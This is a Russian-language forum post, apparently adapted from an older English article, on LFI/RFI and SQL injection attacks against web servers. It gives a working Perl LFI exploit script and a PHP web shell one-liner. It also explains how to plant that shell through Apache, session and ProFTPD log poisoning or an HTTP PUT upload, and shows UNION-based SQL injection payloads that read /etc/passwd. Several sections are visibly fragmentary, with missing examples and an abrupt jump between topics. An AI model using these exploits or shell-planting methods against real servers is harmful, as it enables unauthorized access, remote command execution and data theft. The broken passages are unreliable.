1.Введение
Всем привет,приступим сразу к делу,сегодня я вам расскажу о уже всем известных SQL,XSS,а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях,я покажу вам что с ними можно сделать Поехали.
2.LFI/RFI 2.1.Введение
Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются "плохие" запрограммированые страницы,которые делают отстук на следующие файлы,требуя включать команды)
Логично,что при таких отстуках необохдимо не инициализировать переменные,вот так:
А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы:
Код:
#! /usr/bin/perl
# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
# URL: http://site.com/index.php
# Variable: var
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
while () {
print "file to edit: ";
chomp($file=<STDIN>);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}
2.2.Выполнение команды удаленно
Этот тип уязвимости возможен для любой системы,где файлы доступны пользователю для чтения,но можно и выполнять некоторые системные команды.
Для этого нам нужно написать в любом файле этот код:
Код:
<? passthru ($ _GET [CMD])?>
СMD-это имя нашей переменной для отправки данных через GET
Теперь ищем место где можно записать данные,это можно осуществить несколькими способами:
2.2.1 Иньекции в PHP кодах в логах Apache
Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и
error_log.Мы можем играть с зареганами данными и использовать пхп коды.
Например, чтобы поместить в error_log файл достаточно сделать вызов
несуществующей страницы,но отправку кода осуществляем в файл:
Это добавит строку в error_log,и нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения:
/etc
Код:
http://host/?file=../../../var/apach..._log&cmd=uname -a
Теперь остается узнать когад мы можем трогать логи апача,а зависит это от операционной системи и админа)Один из вариантов заключается в поиске типичных дерикторий где хранятся логи:
Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET
без каких-либо проверок.
Мы можем направить:
Код:
http://host/?user = <? passthru ($ _GET [CMD])?>
И при просмотре Cookies нашего штурмана мы можем видеть, что:
PHPSESSID = b25ca6fea480073cf8eb840b203d343e
Анализ сессии папки мы можем видеть содержимое:
Код:
pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user
2.2.3.Внедрение кода в другие файлы
Обычно мы не имеем прав для загрузки чего-либо в другие файлы,но у нас же есть ФТП логи:
Код:
pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:
Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим,что наш код ввиден:
Код:
Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21
Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрение кода:
Код:
Referer: <? passthru($_GET[cmd]) ?>
В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл
с нашим кодом:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1
Код:
HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory
Connection closed by foreign host.
Иньекция:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26
<? passthru($_GET[cmd]) ?>
2.3.Загрузка шелла
Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе.
Одним из методов является создание основой шелла.Мы можем загружать его с помощью Wget команды:
Мы незнаем колчиство столбцов и полей,но мы знаем,верное значение
Мы пытаемся изменить результаты запроса в SQL-инъекции:
ORDER BY 1 ... Ok
ORDER BY 2 ... Ok
ORDER BY 3 ... Ok
ORDER BY 4 ... Ok
ORDER BY 5 ... Error
Изменяя подзапросы мы подбираем 4 колонки(дело техники):
UNION SELECT 1,2,3,4
На экране мы видим User mail is: 4
Мы можем использовать 4-ую колонку для иньекции:
UNION SELECT 1,2,3,load_file('/etc/passwd');
Вобщем что тут разжоыввать,дело техники,писалось об этом неоднакратно и много
ВОбщем конкретно надоело уже писать,всем удачи)))рекомендую к прочтению:
-
-
-
-